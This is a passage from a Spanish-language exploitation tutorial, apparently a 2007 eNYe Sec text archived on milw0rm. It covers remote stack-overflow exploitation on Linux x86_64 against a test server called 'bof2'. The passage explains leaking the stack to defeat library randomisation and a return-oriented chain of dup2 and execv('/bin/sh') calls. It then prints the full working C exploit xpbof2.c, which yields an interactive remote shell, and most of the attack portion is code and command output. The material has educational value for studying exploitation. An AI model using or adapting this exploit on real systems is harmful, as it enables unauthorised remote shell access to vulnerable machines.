si volvemos a ejecutar bof2 otra vez la direccion de libc sera diferente y no 
nos servira de nada. Pues muy facil, volvemos a saltar read (entrada PLT), 
que ya tenemos los argumentos colocados  :) , y volvemos a provocar otro 
overflow, esta vez saltando directamente a la libc, ya que habremos calculado 
su direccion en el overflow anterior. Para hacer un resumen este es el 
esquema del overflow:

* 1032 A's (sobreescribe %rbp de manejador tambien) *
* direccion de entrada PLT de write *
- aqui nos muestra la informacion del stack, la analizamos y calculamos
  la direccion de la libc -
* direccion de entrada PLT de read *
* 1048 bytes para rellenar el buffer *
* siguiente direccion a donde saltamos *
 
Bien, estamos en el punto en el que bof2 vuelve a hacer un read como el 
original, concretamente: read(s, buf, 2048) (no pongo el sizeof para 
abreviar). Recordemos que %rsp no se ha movido, en el momento en que salta al 
segundo read que nosotros hemos provocado apunta a buf[1048]. Por lo tanto, 
podemos modificar el siguiente salto en el SEGUNDO overflow, ya que esa 
direccion la podemos sobreescribir debido a que el read es de 2048 bytes. 
Pues bien, en el segundo overflow en vez de meter 1032 bytes de 'pad' metemos 
1048, y la siguiente direccion sera a donde salta, o sea a la libc  :) .

Ahora veamos como calculamos la direccion de libc (entre otras cosas) a 
partir de 1024 bytes del stack. Los 2048 bytes que nos envia 'write' son algo 
asi:

0x4141414141414141 0x4141414141414141 0x4141414141414141
0x4141414141414141 0x4141414141414141 0x4141414141414141
        * 1032 bytes de 0x4141.., es buf[] *
0x4006a0 0x400680 0x40090a 0x7fff9f98de08 0x20b234c00 0x611e0002
(nil) 0x7fff9f98de00 0x400000003 (nil) 0x2b0d0b252e64 0x400740
0x7fff9f98de08 0x200000000 0x4007f8 0x2b0d0b234c00 0xff0a00b98c173f6e
        * mas contenido que no nos interesa *

Entre esas direcciones esta la de '_start' de bof2. Esto no lo voy a explicar 
a fondo porque me eternizo y no tiene mucha importancia a la hora de 
explotar. '_start' es la direccion en la que comienza a ejecutarse bof2, que 
llama a '__libc_start_main' en la libc, y que luego salta a 'main'. Como 
'__libc_start_main' esta en la libc, primero tiene que resolver la direccion 
el enlazador dinamico, que es el que salva en la pila la direccion de 
'_start'. Resumiendo, la direccion de '_start' no cambia ya que esta 
prefijada, asi que buscando ese valor en la pila veremos que esta justo 
despues de la direccion de una instruccion de '__libc_start_main'. 
Concretamente esta:

0x2b0559a20e60 <__libc_start_main+240>: callq  *0x18(%rsp)
0x2b0559a20e64 <__libc_start_main+244>: mov    %eax,%edi    <-- ESTA

Ese callq salta a 'main' en bof2, pero antes salva la direccion siguiente, 
0x2b0559a20e64. En realidad esa es la direccion de retorno de 'main'. Bueno, 
pues buscando en la pila el valor de '_start' obtenemos el de 
__libc_start_main+244 (esto puede cambiar dependiendo de la version de libc, 
puede ser +238, etc.). La direccion de '_start' es:

[raise@enyelab x86_64]$ objdump -f bof2 | grep start
start address 0x0000000000400740

Si vemos en el 'printeo' del stack esa direccion, aparece despues de 
0x2b0d0b252e64 (__libc_start_main+244). Ahora hacemos:

[raise@enyelab x86_64]$ objdump -T /lib64/libc.so.6 | grep __libc_start_main
000000000001cd70 g DF .text  00000000000001a5  GLIBC_2.2.5 __libc_start_main

Para sacar la direccion base de libc solo hay que coger la de 
__libc_start_main+244 y restarle (244 + 0x1cd70), todo en tiempo de 
ejecucion. Pero no solo eso, vamos a sacar tambien la direccion exacta de 
'buf' de manejador(), ya que la necesitaremos. Otra vez volvemos a analizar 
el printeo anterior del stack. Pues bien, en 3 posiciones anteriores a la 
direccion de retorno de main (la que apunta a __libc_start_main+244) estara 
guardada la direccion del stack inicial del proceso, ya que la ha salvado en 
la pila la propia libc en una subllamada de __libc_start_main. La cuestion es 
que para un mismo ejecutable la distancia entre el stack inicial y buf sera 
la misma, concretamente en mi bof2 0x530, con lo que haciendo una cuenta 
conseguimos la direccion exacta de buf en tiempo de ejecucion.

Dios, esto no acaba nunca.. Bueno, pues seguimos. Necesitaremos llamar al 
menos a 2 funciones de la libc: execv() y dup2(), por lo que averiguamos sus 
offsets dentro de la libc:

raise@enyelab x86_64]$ objdump -T /lib64/libc.so.6 | grep execv
00000000000949c0 g    DF .text  000000000000000f  GLIBC_2.2.5 execv

[raise@enyelab x86_64]$ objdump -T /lib64/libc.so.6 | grep dup2
00000000000bed80  w   DF .text  0000000000000025  GLIBC_2.2.5 dup2

Pues ya tenemos casi todo, ahora solo hace falta encontrar dentro de alguna 
lib cargada en memoria por 'bof2' las instrucciones adecuadas para 
inicializar los registros correspondientes. Veamos las libs:

[raise@enyelab x86_64]$ ldd bof2
        libc.so.6 => /lib64/libc.so.6 (0x00002b41862b0000)
        /lib64/ld-linux-x86-64.so.2 (0x00002b4186195000)

ld-linux-x86-64.so.2 es el enlazador dinamico, que se carga en memoria como 
una libreria normal. No estaria de mas averiguar su direccion tambien por si 
tenemos que saltar a ella (que lo necesitaremos). Como una vez averiguada 
libc las demas libs siempre estaran a la misma distancia, solo tenemos que 
restar sus direcciones, siempre dara el mismo valor:

0x00002b41862b0000 - 0x00002b4186195000 = 0x11b000

Al valor de la libc le restamos 0x11b000 y ya tenemos la direccion base de 
/lib64/ld-linux-x86-64.so.2. Ahora si, buscamos las direcciones que nos 
interesan, que son las siguientes (dadas en offsets):

libc (0xd81ba):      pop    %rsi  
                     retq 

libc (0xd8190):      pop    %rdx
                     pop    %r10
                     retq

ld-linux (0xc29b):   mov    (%rsp),%rdi
                     mov    %rax,(%rdx)
                     callq  *0x8(%rsp)


Con todo eso en la mano estamos en disposicion de hacer nuestro overflow, el 
esquema seria:

dup2(socket, 0);  dup2(socket, 1);  dup2(socket, 2);
execv("/bin/sh", &NULL);  --> direccion de un null

Para hacer los dup2(), es muy facil, puesto que en %rdi ya tenemos el socket 
(recordemos que no se modifico despues del overflow, sigue estando ahi porque 
era el primer argumento de read), solo tenemos que ir colocando los valores 
0, 1 y 2 en %rsi e ir llamando a dup2(). Para colocar los valores en %rsi 
usaremos 0xd81ba en la libc (3 llamadas seguidas), como controlamos el stack 
controlaremos lo que 'poppeamos' a %rsi.

Despues tenemos que copiar la direccion del string '/bin/sh' en %rdi, la de 
un NULL en %rsi, y llamar a execv(). Para poner la direccion de un NULL en 
%rsi volvemos a usar 0xd81ba en libc. Para la direccion del string usaremos 
0xc29b en ld-linux; copiara el contenido del tope del stack (un puntero al 
string que nosotros colocaremos) a %rdi. Os preguntareis: que narices pinta 
%rdx ahi?, nada. Lo que pasa que entre el 'mov (%rsp),%rdi' y el 'callq 
*0x8(%rsp)' se copia %rax a la direccion a la que apunta %rdx, por lo tanto 
tenemos que asegurarnos que %rdx apunta a una direccion valida, y ahi es 
donde entra en juego 0xd8190 en la libc: copiaremos a %rdx un valor que nos 
interese (%r10 ahi tampoco pinta nada, pero no nos molesta).

Al final el buffer que le pasamos en el segundo overflow tiene una pinta tal 
que asi:

*NULL*  *AAAAAAAA*  */bin/sh\0* *1031 AAAAA's* --> total: 1048
*&pop_rsi*  *0*  *&dup2()*  *&pop_rsi*  *1*  *&dup2()*
*&pop_rsi*  *2*  *&dup2()*  *&pop_rsi*  *&buf*  *&libc+0xd8190*
*&buf[32]*  *AAAAAAAA*  *&lib_ld+0xc29b*  *&buf[16]*  *&execv*  *\n*


En total 1185 bytes. La primera linea ocupa justo 1048 bytes, que era lo 
necesario para producir el segundo overflow. Despues hay 3 llamadas a dup2() 
con 0, 1 y 2 de argumento. Luego se vuelve a colocar en %rsi la direccion de 
buf, y se coloca &buf[32] en %rdx para que sobreescriba justo ahi el 'mov 
%rax,(%rdx)'. Las 8 A's son para el 'pop %r10'. Despues copia el contenido 
del tope del stack a %rdi, que es &buf[16] (la direccion del string de 
"/bin/sh"), y salta a execv. Como en %rsi tenemos la direccion de buf, y 
justo al comienzo del mismo hay un null ya lo tenemos todo  :) .

Lo probamos:

[raise@enyelab x86_64]$ ./bof2 7777 &
[1] 3944

[raise@enyelab x86_64]$ ./xpbof2 127.0.0.1 7777
* Conectando
* Enviando bof
* Leyendo stack ...
* Buscando __libc_start_main+244
* libc base: 0x2b497bfb4000
* lib_ld base: 0x2b497be99000
* %rsi remoto: 0x7fff2ec0db50
* Enviando bof #2
* lanzando shell ...

id
uid=500(raise) gid=500(raise) grupos=500(raise)

Funciona! ;P.

Por cierto, si bof2 tiene suid root pasa lo de antes, que la shell te quita 
el euid 0. Para solucionarlo habria que ejecutar setuid(0) por ejemplo, o mas 
sencillo ejecutar otra shell (cambiar /bin/sh por /bin/bsh, etc.).

Ahi va el codigo del exploit:


---- xpbof2.c ----

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <time.h>
#include <netdb.h>

#define EXECV_OFFSET 0x949c0
#define DUP2_OFFSET 0xbed80
#define READ_PLT  0x0000000000400680
#define WRITE_PLT 0x00000000004006a0
#define STARTADDR 0x400740


int main(int argc, char *argv[])
{
char buf[2048], trash[2048], stack[4096];
unsigned long libc, lib_ld, rsi, pop_rsi;
unsigned long *p = (unsigned long *) buf;
struct sockaddr_in dire;
fd_set s_read;
unsigned char tmp;
int i, n, soc;


if (argc != 3)
    {
    printf("uso: %s ip puerto\n", argv[0]);
    exit(-1);
    }

/* protocolo de conexion */

if ((soc = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    {
    fprintf(stderr, "Error al crear el socket.\n");
    exit(-1);
    }

bzero((void *) &dire, sizeof(dire));
dire.sin_family = AF_INET;
dire.sin_port = htons(atoi(argv[2]));
dire.sin_addr.s_addr = inet_addr(argv[1]);

printf("* Conectando\n");

if ((connect(soc, (struct sockaddr *) &dire, sizeof(dire))) == -1)
    {
    printf("error al conectar\n");
    exit(-1);
    }

/* fin de protocolo de conexion */

memset(buf, 0x00, sizeof(buf));

for (i=0; i < 128; i++)
    *p++ = (unsigned long) 0x4141414141414141;

*p++ = 0x4242424242424242;
*p++ = WRITE_PLT;
*p = READ_PLT;

buf[1048] = 0xa;

// cabecera
read(soc, (void *) trash, sizeof(trash));

printf("* Enviando bof\n");
write(soc, (void *) buf, 1049); // bof

printf("* Leyendo stack ...\n");
n = read(soc, (void *) stack, 2048); // leemos stack

printf("* Buscando __libc_start_main+244\n");
p = (unsigned long *) stack;

for(i=0; i < n; i+=8)
    {
    if (*p == STARTADDR)  /* _start */
        {
        p--;
        break;
        }
    else
        p++;
    }


libc = (unsigned long) *p;
libc = libc - (244 + 0x1cd70);
lib_ld = libc - 0x11b000;
p -= 3;
rsi = (unsigned long) ((*p) - 0x530);
pop_rsi = (unsigned long) libc + 0xd81ba;

printf("* libc base: %p\n", libc);
printf("* lib_ld base: %p\n", lib_ld);
printf("* %%rsi remoto: %p\n", rsi);

printf("* Enviando bof #2\n");

/* el primer long sera un null */
memset(buf, 0, 8);
memset(&buf[8], 0x41, 1048);
strcpy(&buf[16], "/bin/ash");

p = (unsigned long *) &buf[1048];

*p++ = (unsigned long) pop_rsi;
*p++ = (unsigned long) 0;
*p++ = (unsigned long) libc + DUP2_OFFSET;

*p++ = (unsigned long) pop_rsi;
*p++ = (unsigned long) 1;
*p++ = (unsigned long) libc + DUP2_OFFSET;

*p++ = (unsigned long) pop_rsi;
*p++ = (unsigned long) 2;
*p++ = (unsigned long) libc + DUP2_OFFSET;

*p++ = (unsigned long) pop_rsi;
*p++ = (unsigned long) rsi;

*p++ = (unsigned long) libc + 0xd8190;
*p++ = (unsigned long) rsi+32; /* rdx */
*p++ = 0x4141414141414141; /* basura, pop %r10 -> 0x4141.. */
*p++ = ((unsigned long)(lib_ld + 0xc29b));
*p++ = (unsigned long) rsi+16; /* rdi nuevo */
*p = (unsigned long) libc + EXECV_OFFSET;

buf[1184] = 0xa;

write(soc, buf, 1185);

printf("* lanzando shell ...\n\n");

/* bucle para multiplexar los sockets */
while(1)
    {
    FD_ZERO(&s_read);
    FD_SET(0, &s_read);
    FD_SET(soc, &s_read);

    select((soc > 0 ? soc+1 : 0+1), &s_read, 0, 0, NULL);

    if (FD_ISSET(0, &s_read))
        {
        if (read(0, &tmp, 1) == 0)
            break;
        write(soc, &tmp, 1);
        }

    if (FD_ISSET(soc, &s_read))
        {
        if (read(soc, &tmp, 1) == 0)
            break;
        write(1, &tmp, 1);
        }

    } /* fin while(1) */

} /*********** fin main ***********/

---- eof ----


Os recuerdo que para probar los PoC's hay que ajustar los valores necesarios 
(direcciones de entradas PLT, offsets de las libs, etc.).



------[ 7.- Conclusiones ]


Bueno, parece que explotar overflows en Linux x86_64 sigue siendo posible, 
dificil.., pero posible. En exploits locales la cosa se facilita mucho, ya 
que disponemos de las copias de los ejecutables y librerias del sistema para 
sacar los offets. En remotos es algo mas complicado, pero disponiendo de los 
datos necesarios es tambien explotable. De todas formas la cosa se puede 
poner mas complicado si al final el propio ejecutable es cargado en memoria 
como las libs (posicion pseudoaleatoria), aunque de momento eso no esta 
implantado (aunque si desarrollado).

Nota: A todo esto, en este texto se da por supuesto que /proc/PID/maps esta 
      desactivado, y que no podria utilizarse para conocer datos de memoria 
      como donde se cargan las librerias, etc.



------[ 8.- Despedida ]


Por fin he acabado el texto  :) . Lo siento por el toston de explicar los 
PoC's, dije que no iba a enrollarme y al final he escrito unas parrafadas del 
15. Bueno, y que pongo yo aqui ahora? :?. Pues nada, saludos a todos los 
lectores/as, a los que me han ayudado a testear los PoC's (kenshin, 
nomuryto), y a todos los asiduos de SET y eNYe Sec.

Hasta la proxima!.


RaiSe <raise@enye-sec.org>
http://www.enye-sec.org



=-|================================================================ EOF =====|

# milw0rm.com [2007-11-05]